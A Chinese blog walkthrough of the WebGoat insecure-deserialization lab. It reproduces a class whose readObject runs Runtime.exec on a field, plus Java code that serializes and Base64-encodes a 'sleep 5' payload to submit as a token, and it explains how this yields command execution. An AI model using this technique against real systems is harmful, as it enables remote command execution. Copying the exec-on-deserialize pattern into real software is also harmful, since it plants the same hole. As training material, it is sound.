不安全的反序列化
POST /WebGoat/InsecureDeserialization/task
从结果出发
Main.java
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws IOException {
/**
* Webgoat payload
*/
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder("sleep for 5secs","sleep 5");
ObjectOutputStream output = new ObjectOutputStream(byteArrayOutputStream);
output.writeObject(vulnerableTaskHolder);
String str = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(str);
output.close();
}
}
VulnerableTaskHolder.java
package org.dummy.insecure.framework;
import java.io.*;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
} catch (IOException e) {
System.out.println(e);
}
}
}
}
最关键的便是Process p = Runtime.getRuntime().exec(taskAction);
了,这里会执行VulnerableTaskHolder.taskAction。所以在 main 中使用VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder("sleep for 5secs","sleep 5");
VulnerableTaskHolder(String taskName, String taskAction) 即会执行了。
其他的按照模板改一改应该都一样的啦(菜鸡发言
从原理出发
序列化是指把一个Java对象变成二进制内容,本质上就是一个
byte[]
数组。 序列化后可以把byte[]
保存到文件中,或者把byte[]
通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。 有序列化,就有反序列化,即把一个二进制内容(也就是byte[]
数组)变回Java对象。有了反序列化,保存到文件中的byte[]
数组又可以“变回”Java对象,或者从网络上读取byte[]
并把它“变回”Java对象。 来源 序列化 - 廖雪峰的官方网站 下面序列化代码同来源
public class Main {
public static void main(String[] args) throws IOException {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
try (ObjectOutputStream output = new ObjectOutputStream(buffer)) {
// 写入int:
output.writeInt(12345);
// 写入String:
output.writeUTF("Hello");
// 写入Object:
output.writeObject(Double.valueOf(123.456));
}
System.out.println(Arrays.toString(buffer.toByteArray()));
}
}
看完上面的,大概的想法有了之后,咱们再看下面的。
获取token 之后,先替换掉 token 中的-
和_
, 然后将 base64 的 token 进行 decode,再将结果转变成ByteArrayInputStream
的对象,再变成ObjectInputStream
对象。(也就是反序列化)
然后再ObjectInputStream.readObject()
从ObjectInputStream中读取并转换成对象。
然后使用instanceof
关键字判断对象是否为VulnerableTaskHolder
类。
而这个VulnerableTaskHolder
中的readObject
,有一个Runtime.getRuntime().exec(taskAction)
会在单独的进程中执行 taskAction,这也就是反序列化漏洞的最终结果,导致任意命令执行。
接下来需要的就是给这个VulnerableTaskHolder
的taskAction
值设置成一个命令,在题目里我们需要让他 sleep 5
。结合上面会将输入的 token 进行反序列化,所以我们需要先序列化一个VulnerableTaskHolder
对象。
将VulnerableTaskHolder
的代码复制出来,然后去掉其中的 log,保存为VulnerableTaskHolder.java
Main.java
package org.dummy.insecure.framework;
import java.io.*;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws IOException {
/**
* Webgoat payload
*/
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
VulnerableTaskHolder vulnerableTaskHolder = new VulnerableTaskHolder("sleep for 5secs","sleep 5");
ObjectOutputStream output = new ObjectOutputStream(byteArrayOutputStream);
output.writeObject(vulnerableTaskHolder);
String str = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(str);
output.close();
//代码同样来自木爷
}
}
执行后将输出发送即可。
「真诚赞赏,手留余香」
真诚赞赏,手留余香
使用微信扫描二维码完成支付